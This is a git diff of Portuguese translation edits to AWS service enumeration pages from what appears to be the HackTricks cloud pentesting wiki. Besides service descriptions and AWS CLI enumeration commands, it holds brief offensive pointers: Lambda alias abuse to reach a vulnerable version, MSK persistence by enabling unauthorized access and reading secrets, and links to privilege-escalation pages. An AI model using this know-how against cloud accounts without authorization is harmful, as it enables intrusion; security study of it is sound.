 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
index eb575d820..8168a1531 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
@@ -1,14 +1,14 @@
-# AWS - Kinesis Data Firehose Enum
+# AWS - Enumeração do Kinesis Data Firehose
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Kinesis Data Firehose
 
-Amazon Kinesis Data Firehose é um **serviço totalmente gerenciado** que facilita a entrega de **dados de streaming em tempo real**. Ele suporta uma variedade de destinos, incluindo Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk e endpoints HTTP personalizados.
+O Amazon Kinesis Data Firehose é um **serviço totalmente gerenciado** que facilita a entrega de **dados de streaming em tempo real**. Ele suporta uma variedade de destinos, incluindo Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk e endpoints HTTP personalizados.
 
 O serviço alivia a necessidade de escrever aplicativos ou gerenciar recursos, permitindo que os produtores de dados sejam configurados para encaminhar dados diretamente para o Kinesis Data Firehose. Este serviço é responsável pela **entrega automática de dados ao destino especificado**. Além disso, o Kinesis Data Firehose oferece a opção de **transformar os dados antes de sua entrega**, aumentando sua flexibilidade e aplicabilidade a vários casos de uso.
 
-### Enumeration
+### Enumeração
 ```bash
 # Get delivery streams
 aws firehose list-delivery-streams
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
index 68c869b50..c44840ef6 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
@@ -21,7 +21,7 @@ Existem 2 tipos de chaves mestras:
 - **CMKs gerenciadas pela AWS: Usadas por outros serviços para criptografar dados**. Elas são usadas pelo serviço que as criou em uma região. Elas são criadas na primeira vez que você implementa a criptografia nesse serviço. Rotaciona a cada 3 anos e não é possível alterá-la.
 - **CMKs gerenciadas pelo cliente**: Flexibilidade, rotação, acesso configurável e política de chave. Habilitar e desabilitar chaves.
 
-**Criptografia Envelope** no contexto do Key Management Service (KMS): Sistema de hierarquia em dois níveis para **criptografar dados com a chave de dados e, em seguida, criptografar a chave de dados com a chave mestra**.
+**Criptografia Envelope** no contexto do Key Management Service (KMS): Sistema de hierarquia de dois níveis para **criptografar dados com a chave de dados e, em seguida, criptografar a chave de dados com a chave mestra**.
 
 ### Políticas de Chave
 
@@ -33,7 +33,7 @@ Por **padrão:**
 
 Ao contrário de outras políticas de recursos da AWS, uma **política de chave KMS da AWS não concede automaticamente permissão a nenhum dos principais da conta**. Para conceder permissão aos administradores da conta, a **política de chave deve incluir uma declaração explícita** que forneça essa permissão, como esta.
 
-- Sem permitir a conta (`"AWS": "arn:aws:iam::111122223333:root"`) as permissões do IAM não funcionarão.
+- Sem permitir a conta(`"AWS": "arn:aws:iam::111122223333:root"`) as permissões IAM não funcionarão.
 
 - Ela **permite que a conta use políticas IAM** para permitir acesso à chave KMS, além da política de chave.
 
@@ -92,15 +92,15 @@ Administrador de chave por padrão:
 
 ### Rotação de CMKs
 
-- Quanto mais tempo a mesma chave permanecer em uso, mais dados serão criptografados com essa chave, e se essa chave for comprometida, então a área de impacto dos dados estará em risco. Além disso, quanto mais tempo a chave estiver ativa, maior a probabilidade de ser comprometida.
+- Quanto mais tempo a mesma chave permanecer em uso, mais dados são criptografados com essa chave, e se essa chave for comprometida, então a área de impacto dos dados estará em risco. Além disso, quanto mais tempo a chave estiver ativa, maior a probabilidade de ser comprometida.
 - **KMS rotaciona chaves de clientes a cada 365 dias** (ou você pode realizar o processo manualmente sempre que quiser) e **chaves gerenciadas pela AWS a cada 3 anos** e esse tempo não pode ser alterado.
 - **Chaves mais antigas são retidas** para descriptografar dados que foram criptografados antes da rotação
-- Em um comprometimento, rotacionar a chave não removerá a ameaça, pois será possível descriptografar todos os dados criptografados com a chave comprometida. No entanto, os **novos dados serão criptografados com a nova chave**.
+- Em uma violação, rotacionar a chave não removerá a ameaça, pois será possível descriptografar todos os dados criptografados com a chave comprometida. No entanto, os **novos dados serão criptografados com a nova chave**.
 - Se o **CMK** estiver em estado de **desativado** ou **pendente de** **exclusão**, o KMS **não realizará uma rotação de chave** até que o CMK seja reativado ou a exclusão seja cancelada.
 
 #### Rotação manual
 
-- Um **novo CMK precisa ser criado**, então, um novo CMK-ID é criado, portanto, você precisará **atualizar** qualquer **aplicação** para **referenciar** o novo CMK-ID.
+- Um **novo CMK precisa ser criado**, então, um novo CMK-ID é criado, portanto, você precisará **atualizar** qualquer **aplicativo** para **referenciar** o novo CMK-ID.
 - Para facilitar esse processo, você pode **usar aliases para se referir a um key-id** e então apenas atualizar a chave à qual o alias está se referindo.
 - Você precisa **manter chaves antigas para descriptografar arquivos antigos** criptografados com elas.
 
@@ -110,15 +110,15 @@ Você pode importar chaves de sua infraestrutura de chaves local.
 
 O KMS é cobrado por número de solicitações de criptografia/descriptografia recebidas de todos os serviços por mês.
 
-O KMS possui total auditoria e conformidade **integração com o CloudTrail**; é aqui que você pode auditar todas as alterações realizadas no KMS.
+O KMS tem plena auditoria e conformidade **integração com o CloudTrail**; é aqui que você pode auditar todas as alterações realizadas no KMS.
 
 Com a política do KMS, você pode fazer o seguinte:
 
 - Limitar quem pode criar chaves de dados e quais serviços têm acesso a usar essas chaves
 - Limitar o acesso dos sistemas para criptografar apenas, descriptografar apenas ou ambos
-- Definir para permitir que os sistemas acessem chaves em diferentes regiões (embora não seja recomendado, pois uma falha na região que hospeda o KMS afetará a disponibilidade dos sistemas em outras regiões).
+- Definir para permitir que sistemas acessem chaves em diferentes regiões (embora não seja recomendado, pois uma falha na região que hospeda o KMS afetará a disponibilidade dos sistemas em outras regiões).
 
-Você não pode sincronizar ou mover/copiar chaves entre regiões; você só pode definir regras para permitir acesso entre regiões.
+Você não pode sincronizar ou mover/copiar chaves entre regiões; você só pode definir regras para permitir o acesso entre regiões.
 
 ### Enumeração
 ```bash
@@ -135,13 +135,13 @@ aws kms describe-custom-key-stores
 ../aws-privilege-escalation/aws-kms-privesc.md
 {{#endref}}
 
-### Pós Exploração
+### Post Exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-kms-post-exploitation.md
 {{#endref}}
 
-### Persistência
+### Persistence
 
 {{#ref}}
 ../aws-persistence/aws-kms-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
index 8e4d64877..03cf19678 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
@@ -13,7 +13,7 @@ O **código** de um lambda é armazenado em **`/var/task`**.
 ### Pesos de Aliases do Lambda
 
 Um Lambda pode ter **várias versões**.\
-E pode ter **mais de 1** versão exposta via **aliases**. Os **pesos** de **cada** uma das **versões** expostas dentro de um alias decidirão **qual alias recebe a invocação** (pode ser 90%-10% por exemplo).\
+E pode ter **mais de 1** versão exposta via **aliases**. Os **pesos** de **cada** uma das **versões** expostas dentro de um alias decidirão **qual alias recebe a invocação** (pode ser 90%-10%, por exemplo).\
 Se o código de **um** dos aliases for **vulnerável**, você pode enviar **requisições até que a versão vulnerável receba o exploit**.
 
 ![](<../../../images/image (223).png>)
@@ -32,7 +32,7 @@ Ou esta para permitir que um API Gateway o invoque:
 ### Proxies de Banco de Dados do Lambda
 
 Quando há **centenas** de **requisições lambda concorrentes**, se cada uma delas precisar **conectar e fechar uma conexão com um banco de dados**, simplesmente não vai funcionar (lambdas são sem estado, não podem manter conexões abertas).\
-Então, se suas **funções Lambda interagem com o RDS Proxy em vez** de sua instância de banco de dados. Ele gerencia o pooling de conexões necessário para escalar muitas conexões simultâneas criadas por funções Lambda concorrentes. Isso permite que suas aplicações Lambda **reutilizem conexões existentes**, em vez de criar novas conexões para cada invocação de função.
+Então, se suas **funções Lambda interagem com RDS Proxy em vez** de sua instância de banco de dados. Ele gerencia o pooling de conexões necessário para escalar muitas conexões simultâneas criadas por funções Lambda concorrentes. Isso permite que suas aplicações Lambda **reutilizem conexões existentes**, em vez de criar novas conexões para cada invocação de função.
 
 ### Sistemas de Arquivos EFS do Lambda
 
@@ -44,7 +44,7 @@ Uma camada do Lambda é um arquivo .zip que **pode conter código adicional** ou
 
 É possível incluir até **cinco camadas por função**. Quando você inclui uma camada em uma função, o **conteúdo é extraído para o diretório `/opt`** no ambiente de execução.
 
-Por **padrão**, as **camadas** que você cria são **privadas** à sua conta AWS. Você pode optar por **compartilhar** uma camada com outras contas ou **tornar** a camada **pública**. Se suas funções consumirem uma camada que uma conta diferente publicou, suas funções podem **continuar a usar a versão da camada após ela ter sido excluída, ou após sua permissão para acessar a camada ser revogada**. No entanto, você não pode criar uma nova função ou atualizar funções usando uma versão de camada excluída.
+Por **padrão**, as **camadas** que você cria são **privadas** para sua conta AWS. Você pode optar por **compartilhar** uma camada com outras contas ou **tornar** a camada **pública**. Se suas funções consumirem uma camada que uma conta diferente publicou, suas funções podem **continuar a usar a versão da camada após ela ter sido excluída, ou após sua permissão para acessar a camada ser revogada**. No entanto, você não pode criar uma nova função ou atualizar funções usando uma versão de camada excluída.
 
 Funções implantadas como uma imagem de contêiner não usam camadas. Em vez disso, você empacota seu runtime preferido, bibliotecas e outras dependências na imagem do contêiner ao construir a imagem.
 
@@ -140,7 +140,7 @@ Existem muitas outras fontes que podem acionar um lambda
 
 ### Privesc
 
-Na página a seguir, você pode verificar como **abusar das permissões do Lambda para escalar privilégios**:
+Na página seguinte você pode verificar como **abusar das permissões do Lambda para escalar privilégios**:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-lambda-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
index c23ea2376..c57e2430a 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
@@ -4,10 +4,10 @@
 
 ## AWS - Lightsail
 
-Amazon Lightsail oferece uma maneira **fácil** e leve para novos usuários de nuvem aproveitarem os serviços de computação em nuvem da AWS. Ele permite que você implante serviços web comuns e personalizados em segundos por meio de **VMs** (**EC2**) e **containers**.\
+Amazon Lightsail oferece uma maneira **fácil** e leve para novos usuários de nuvem aproveitarem os serviços de computação em nuvem da AWS. Ele permite que você implante serviços web comuns e personalizados em segundos via **VMs** (**EC2**) e **containers**.\
 É um **EC2 mínimo + Route53 + ECS**.
 
-### Enumeration
+### Enumeração
 ```bash
 # Instances
 aws lightsail get-instances #Get all
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
index ab00ea115..8cf376f31 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
@@ -10,13 +10,13 @@
 
 ### AWS - RabbitMQ
 
-RabbitMQ é um proeminente **software de enfileiramento de mensagens**, também conhecido como _corretor de mensagens_ ou _gerenciador de filas_. É fundamentalmente um sistema onde filas são configuradas. Aplicações interagem com essas filas para **enviar e receber mensagens**. As mensagens, neste contexto, podem carregar uma variedade de informações, que vão desde comandos para iniciar processos em outras aplicações (potencialmente em servidores diferentes) até mensagens de texto simples. As mensagens são mantidas pelo software gerenciador de filas até serem recuperadas e processadas por uma aplicação receptora. A AWS fornece uma solução fácil de usar para hospedar e gerenciar servidores RabbitMQ.
+RabbitMQ é um proeminente **software de enfileiramento de mensagens**, também conhecido como _corretor de mensagens_ ou _gerenciador de filas_. É fundamentalmente um sistema onde filas são configuradas. Aplicações interagem com essas filas para **enviar e receber mensagens**. As mensagens, neste contexto, podem carregar uma variedade de informações, desde comandos para iniciar processos em outras aplicações (potencialmente em servidores diferentes) até mensagens de texto simples. As mensagens são mantidas pelo software gerenciador de filas até serem recuperadas e processadas por uma aplicação receptora. A AWS fornece uma solução fácil de usar para hospedar e gerenciar servidores RabbitMQ.
 
 ### AWS - ActiveMQ
 
-Apache ActiveMQ® é um corretor de mensagens de código aberto, baseado em Java, conhecido por sua versatilidade. Ele suporta múltiplos protocolos padrão da indústria, oferecendo ampla compatibilidade de clientes em uma ampla gama de linguagens e plataformas. Os usuários podem:
+Apache ActiveMQ® é um corretor de mensagens de código aberto, baseado em Java, conhecido por sua versatilidade. Ele suporta múltiplos protocolos padrão da indústria, oferecendo ampla compatibilidade de clientes em uma variedade de linguagens e plataformas. Os usuários podem:
 
-- Conectar-se com clientes escritos em JavaScript, C, C++, Python, .Net e mais.
+- Conectar-se com clientes escritos em JavaScript, C, C++, Python, .Net, e mais.
 - Aproveitar o protocolo **AMQP** para integrar aplicações de diferentes plataformas.
 - Usar **STOMP** sobre websockets para trocas de mensagens em aplicações web.
 - Gerenciar dispositivos IoT com **MQTT**.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
index 72c1e2952..f0b2beaca 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
@@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer
 
 ### Persistência
 
-Se você **tiver acesso ao VPC** onde um Kafka Provisionado está, você poderia **habilitar acesso não autorizado**, se a **autenticação SASL/SCRAM**, **ler** a senha do segredo, dar algumas **outras permissões de usuário IAM controladas** (se IAM ou serverless usados) ou persistir com **certificados**.
+Se você **tiver acesso ao VPC** onde um Kafka Provisionado está, você poderia **habilitar acesso não autorizado**, se a **autenticação SASL/SCRAM**, **ler** a senha do segredo, dar algumas **outras permissões de usuário controlado IAM** (se IAM ou serverless usados) ou persistir com **certificados**.
 
 ## Referências
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
index 72f2d8626..2e8f02326 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
@@ -1,16 +1,16 @@
-# AWS - Organizations Enum
+# AWS - Enumeração de Organizações
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Informações Básicas
 
-AWS Organizations facilita a criação de novas contas AWS sem incorrer em custos adicionais. Os recursos podem ser alocados sem esforço, as contas podem ser agrupadas de forma eficiente e políticas de governança podem ser aplicadas a contas individuais ou grupos, melhorando a gestão e o controle dentro da organização.
+AWS Organizations facilita a criação de novas contas AWS sem incorrer em custos adicionais. Recursos podem ser alocados sem esforço, contas podem ser agrupadas de forma eficiente e políticas de governança podem ser aplicadas a contas individuais ou grupos, melhorando a gestão e o controle dentro da organização.
 
 Pontos Chave:
 
 - **Criação de Novas Contas**: AWS Organizations permite a criação de novas contas AWS sem cobranças extras.
 - **Alocação de Recursos**: Simplifica o processo de alocação de recursos entre as contas.
-- **Agrupamento de Contas**: As contas podem ser agrupadas, tornando a gestão mais eficiente.
+- **Agrupamento de Contas**: Contas podem ser agrupadas, tornando a gestão mais eficiente.
 - **Políticas de Governança**: Políticas podem ser aplicadas a contas ou grupos de contas, garantindo conformidade e governança em toda a organização.
 
 Você pode encontrar mais informações em:
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
index 29255db11..4db769adc 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
@@ -13,7 +13,7 @@ aws directconnect describe-virtual-interfaces
 ```
 ## Suporte
 
-No AWS, você pode acessar casos de suporte atuais e anteriores via API
+No AWS, você pode acessar casos de suporte atuais e anteriores via API.
 ```
 aws support describe-cases --include-resolved-cases
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
index c3ba8eada..ed2597526 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md
@@ -8,7 +8,7 @@ Redshift é um serviço totalmente gerenciado que pode escalar para mais de um p
 
 **Redshift oferece criptografia em repouso usando uma hierarquia de quatro camadas de chaves de criptografia, utilizando KMS ou CloudHSM para gerenciar o nível superior de chaves**. **Quando a criptografia é ativada para seu cluster, não pode ser desativada e vice-versa**. Quando você tem um cluster não criptografado, ele não pode ser criptografado.
 
-A criptografia para seu cluster só pode ocorrer durante sua criação, e uma vez criptografados, os dados, metadados e quaisquer instantâneas também são criptografados. Os níveis de hierarquia das chaves de criptografia são os seguintes: **a camada um é a chave mestre, a camada dois é a chave de criptografia do cluster, a CEK, a camada três, a chave de criptografia do banco de dados, a DEK, e finalmente a camada quatro, as chaves de criptografia de dados em si**.
+A criptografia para seu cluster só pode ocorrer durante sua criação, e uma vez criptografado, os dados, metadados e quaisquer instantâneas também são criptografados. Os níveis de hierarquia das chaves de criptografia são os seguintes: **a camada um é a chave mestra, a camada dois é a chave de criptografia do cluster, a CEK, a camada três, a chave de criptografia do banco de dados, a DEK, e finalmente a camada quatro, as chaves de criptografia de dados em si**.
 
 ### KMS
 
@@ -16,7 +16,7 @@ Durante a criação do seu cluster, você pode selecionar a **chave KMS padrão*
 
 A chave KMS padrão para Redshift é criada automaticamente pelo Redshift na primeira vez que a opção de chave é selecionada e utilizada, e é totalmente gerenciada pela AWS.
 
-Essa chave KMS é então criptografada com a chave mestre CMK, camada um. Essa chave de dados KMS criptografada é então usada como a chave de criptografia do cluster, a CEK, camada dois. Essa CEK é então enviada pelo KMS para o Redshift, onde é armazenada separadamente do cluster. O Redshift então envia essa CEK criptografada para o cluster através de um canal seguro, onde é armazenada na memória.
+Essa chave KMS é então criptografada com a chave mestra CMK, camada um. Essa chave de dados KMS criptografada é então usada como a chave de criptografia do cluster, a CEK, camada dois. Essa CEK é então enviada pelo KMS para o Redshift, onde é armazenada separadamente do cluster. O Redshift então envia essa CEK criptografada para o cluster através de um canal seguro, onde é armazenada na memória.
 
 O Redshift então solicita ao KMS para descriptografar a CEK, camada dois. Essa CEK descriptografada é então também armazenada na memória. O Redshift então cria uma chave de criptografia de banco de dados aleatória, a DEK, camada três, e a carrega na memória do cluster. A CEK descriptografada na memória então criptografa a DEK, que também é armazenada na memória.
 
@@ -34,11 +34,11 @@ Ao trabalhar com CloudHSM para realizar sua criptografia, primeiramente você de
 
 Essa conexão é necessária para fornecer comunicações seguras, permitindo que chaves de criptografia sejam enviadas entre seu cliente HSM e seus clusters Redshift. Usando um par de chaves privada e pública gerado aleatoriamente, o Redshift cria um certificado de cliente público, que é criptografado e armazenado pelo Redshift. Este deve ser baixado e registrado no seu cliente HSM, e atribuído à partição HSM correta.
 
-Você deve então configurar o Redshift com os seguintes detalhes do seu cliente HSM: o endereço IP do HSM, o nome da partição HSM, a senha da partição HSM e o certificado público do servidor HSM, que é criptografado pelo CloudHSM usando uma chave mestre interna. Uma vez que essas informações tenham sido fornecidas, o Redshift confirmará e verificará se pode conectar e acessar a partição de desenvolvimento.
+Você deve então configurar o Redshift com os seguintes detalhes do seu cliente HSM: o endereço IP do HSM, o nome da partição HSM, a senha da partição HSM e o certificado público do servidor HSM, que é criptografado pelo CloudHSM usando uma chave mestra interna. Uma vez que essas informações tenham sido fornecidas, o Redshift confirmará e verificará se pode conectar e acessar a partição de desenvolvimento.
 
 Se suas políticas de segurança internas ou controles de governança ditarem que você deve aplicar rotação de chaves, então isso é possível com o Redshift, permitindo que você gire chaves de criptografia para clusters criptografados, no entanto, você deve estar ciente de que durante o processo de rotação de chaves, isso tornará um cluster indisponível por um período muito curto de tempo, e portanto, é melhor girar chaves apenas quando necessário, ou se você sentir que elas podem ter sido comprometidas.
 
-Durante a rotação, o Redshift irá girar a CEK para seu cluster e para quaisquer backups desse cluster. Ele irá girar uma DEK para o cluster, mas não é possível girar uma DEK para as instantâneas armazenadas no S3 que foram criptografadas usando a DEK. Ele colocará o cluster em um estado de 'girando chaves' até que o processo seja concluído, quando o status retornará a 'disponível'.
+Durante a rotação, o Redshift irá girar a CEK para seu cluster e para quaisquer backups desse cluster. Ele irá girar uma DEK para o cluster, mas não é possível girar uma DEK para os instantâneas armazenadas no S3 que foram criptografadas usando a DEK. Ele colocará o cluster em um estado de 'girando chaves' até que o processo seja concluído, quando o status retornará a 'disponível'.
 
 </details>
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
index 026b50658..61595304f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md
@@ -1,10 +1,10 @@
-# AWS - Enumeração de Banco de Dados Relacional (RDS)
+# AWS - Enum de Banco de Dados Relacional (RDS)
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Informações Básicas
 
-O **Serviço de Banco de Dados Relacional (RDS)** oferecido pela AWS é projetado para simplificar a implantação, operação e escalabilidade de um **banco de dados relacional na nuvem**. Este serviço oferece as vantagens de eficiência de custo e escalabilidade, enquanto automatiza tarefas que consomem muito tempo, como provisionamento de hardware, configuração de banco de dados, aplicação de patches e backups.
+O **Serviço de Banco de Dados Relacional (RDS)** oferecido pela AWS é projetado para simplificar a implantação, operação e escalabilidade de um **banco de dados relacional na nuvem**. Este serviço oferece as vantagens de eficiência de custos e escalabilidade, enquanto automatiza tarefas que consomem muito tempo, como provisionamento de hardware, configuração de banco de dados, aplicação de patches e backups.
 
 O AWS RDS suporta vários mecanismos de banco de dados relacionais amplamente utilizados, incluindo MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server e Amazon Aurora, com compatibilidade para MySQL e PostgreSQL.
 
@@ -49,17 +49,17 @@ Além disso, a **porta do banco de dados pode ser modificada** também.
 Ao habilitar sua criptografia, você está habilitando **criptografia em repouso para seu armazenamento, snapshots, réplicas de leitura e seus backups**. As chaves para gerenciar essa criptografia podem ser emitidas usando **KMS**.\
 Não é possível adicionar esse nível de criptografia após o seu banco de dados ter sido criado. **Isso deve ser feito durante sua criação**.
 
-No entanto, existe uma **solução alternativa que permite criptografar um banco de dados não criptografado da seguinte forma**. Você pode criar um snapshot do seu banco de dados não criptografado, criar uma cópia criptografada desse snapshot, usar esse snapshot criptografado para criar um novo banco de dados e, finalmente, seu banco de dados estaria criptografado.
+No entanto, há uma **solução alternativa que permite criptografar um banco de dados não criptografado da seguinte forma**. Você pode criar um snapshot do seu banco de dados não criptografado, criar uma cópia criptografada desse snapshot, usar esse snapshot criptografado para criar um novo banco de dados e, finalmente, seu banco de dados estaria criptografado.
 
 #### Criptografia de Dados Transparente (TDE)
 
-Além das capacidades de criptografia inerentes ao RDS no nível da aplicação, o RDS também suporta **mecanismos de criptografia adicionais em nível de plataforma** para proteger dados em repouso. Isso inclui **Criptografia de Dados Transparente (TDE)** para Oracle e SQL Server. No entanto, é crucial notar que, embora o TDE melhore a segurança ao criptografar dados em repouso, ele também pode **afetar o desempenho do banco de dados**. Esse impacto no desempenho é especialmente notável quando usado em conjunto com funções criptográficas do MySQL ou funções criptográficas do Microsoft Transact-SQL.
+Além das capacidades de criptografia inerentes ao RDS no nível da aplicação, o RDS também suporta **mecanismos adicionais de criptografia em nível de plataforma** para proteger dados em repouso. Isso inclui **Criptografia de Dados Transparente (TDE)** para Oracle e SQL Server. No entanto, é crucial notar que, embora o TDE melhore a segurança ao criptografar dados em repouso, ele também pode **afetar o desempenho do banco de dados**. Esse impacto no desempenho é especialmente notável quando usado em conjunto com funções criptográficas do MySQL ou funções criptográficas do Microsoft Transact-SQL.
 
 Para utilizar o TDE, certos passos preliminares são necessários:
 
 1. **Associação de Grupo de Opções**:
 - O banco de dados deve estar associado a um grupo de opções. Grupos de opções servem como contêineres para configurações e recursos, facilitando o gerenciamento do banco de dados, incluindo melhorias de segurança.
-- No entanto, é importante notar que os grupos de opções estão disponíveis apenas para mecanismos de banco de dados e versões específicas.
+- No entanto, é importante notar que grupos de opções estão disponíveis apenas para mecanismos e versões de banco de dados específicos.
 2. **Inclusão do TDE no Grupo de Opções**:
 - Uma vez associado a um grupo de opções, a opção de Criptografia de Dados Transparente do Oracle precisa ser incluída nesse grupo.
 - É essencial reconhecer que, uma vez que a opção TDE é adicionada a um grupo de opções, ela se torna uma característica permanente e não pode ser removida.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
index c047b3292..802cf0943 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
@@ -1,11 +1,11 @@
-# AWS - Route53 Enum
+# AWS - Enumeração do Route53
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Route 53
 
 Amazon Route 53 é um serviço web de **Sistema de Nomes de Domínio (DNS)** em nuvem.\
-Você pode criar verificações de **saúde para páginas da web** via Route53.
+Você pode criar verificações de **saúde para páginas web** https, http e tcp via Route53.
 
 ### Roteamento baseado em IP <a href="#routing-policy-ipbased" id="routing-policy-ipbased"></a>
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
index e8b776fe4..16979883d 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md
@@ -4,9 +4,9 @@
 
 ## S3
 
-Amazon S3 é um serviço que permite que você **armazene grandes quantidades de dados**.
+Amazon S3 é um serviço que permite que você **armazenar grandes quantidades de dados**.
 
-Amazon S3 oferece várias opções para alcançar a **proteção** dos dados em repouso. As opções incluem **Permissão** (Política), **Criptografia** (Lado do Cliente e Lado do Servidor), **Versionamento de Bucket** e **exclusão baseada em MFA**. O **usuário pode habilitar** qualquer uma dessas opções para alcançar a proteção dos dados. A **replicação de dados** é uma funcionalidade interna da AWS onde **S3 replica automaticamente cada objeto em todas as Zonas de Disponibilidade** e a organização não precisa habilitá-la nesse caso.
+Amazon S3 fornece várias opções para alcançar a **proteção** de dados em repouso. As opções incluem **Permissão** (Política), **Criptografia** (Lado do Cliente e Lado do Servidor), **Versionamento de Bucket** e **exclusão baseada em MFA**. O **usuário pode habilitar** qualquer uma dessas opções para alcançar a proteção de dados. A **replicação de dados** é uma funcionalidade interna da AWS onde **S3 replica automaticamente cada objeto em todas as Zonas de Disponibilidade** e a organização não precisa habilitá-la nesse caso.
 
 Com permissões baseadas em recursos, você pode definir permissões para subdiretórios do seu bucket separadamente.
 
@@ -54,10 +54,10 @@ Esta opção requer configuração mínima e toda a gestão das chaves de cripto
 
 - Criptografia:
 - Dados do objeto + DEK em texto simples criado --> Dados criptografados (armazenados dentro do S3)
-- DEK em texto simples criado + Chave Mestra do S3 --> DEK criptografado (armazenado dentro do S3) e o texto simples é excluído da memória
+- DEK em texto simples criado + Chave Mestra do S3 --> DEK criptografado (armazenado dentro do S3) e o texto em claro é excluído da memória
 - Descriptografia:
-- DEK criptografado + Chave Mestra do S3 --> DEK em texto simples
-- DEK em texto simples + Dados criptografados --> Dados do objeto
+- DEK criptografado + Chave Mestra do S3 --> DEK em texto claro
+- DEK em texto claro + Dados criptografados --> Dados do objeto
 
 Por favor, note que neste caso **a chave é gerenciada pela AWS** (rotação apenas a cada 3 anos). Se você usar sua própria chave, poderá rotacionar, desativar e aplicar controle de acesso.
 
@@ -72,7 +72,7 @@ Este método permite que o S3 use o serviço de gerenciamento de chaves para ger
 - Criptografia:
 - S3 solicita chaves de dados ao KMS CMK
 - O KMS usa um CMK para gerar o par DEK em texto simples e DEK criptografado e os envia para o S3
-- O S3 usa a chave em texto simples para criptografar os dados, armazena os dados criptografados e a chave criptografada e exclui da memória a chave em texto simples
+- O S3 usa a chave em texto simples para criptografar os dados, armazena os dados criptografados e a chave criptografada e exclui da memória a chave em texto claro
 - Descriptografia:
 - O S3 solicita ao KMS para descriptografar a chave de dados criptografada do objeto
 - O KMS descriptografa a chave de dados com o CMK e a envia de volta ao S3
@@ -102,16 +102,16 @@ Esta opção oferece a oportunidade de fornecer sua própria chave mestra que vo
 
 <summary><strong>Criptografia do lado do cliente com KMS, CSE-KMS</strong></summary>
 
-Semelhante ao SSE-KMS, isso também usa o serviço de gerenciamento de chaves para gerar suas chaves de criptografia de dados. No entanto, desta vez o KMS é chamado pelo cliente, não pelo S3. A criptografia ocorre do lado do cliente e os dados criptografados são enviados ao S3 para serem armazenados.
+De forma semelhante ao SSE-KMS, isso também usa o serviço de gerenciamento de chaves para gerar suas chaves de criptografia de dados. No entanto, desta vez o KMS é chamado pelo cliente, não pelo S3. A criptografia ocorre do lado do cliente e os dados criptografados são enviados ao S3 para serem armazenados.
 
 - Criptografia:
 - O cliente solicita uma chave de dados ao KMS
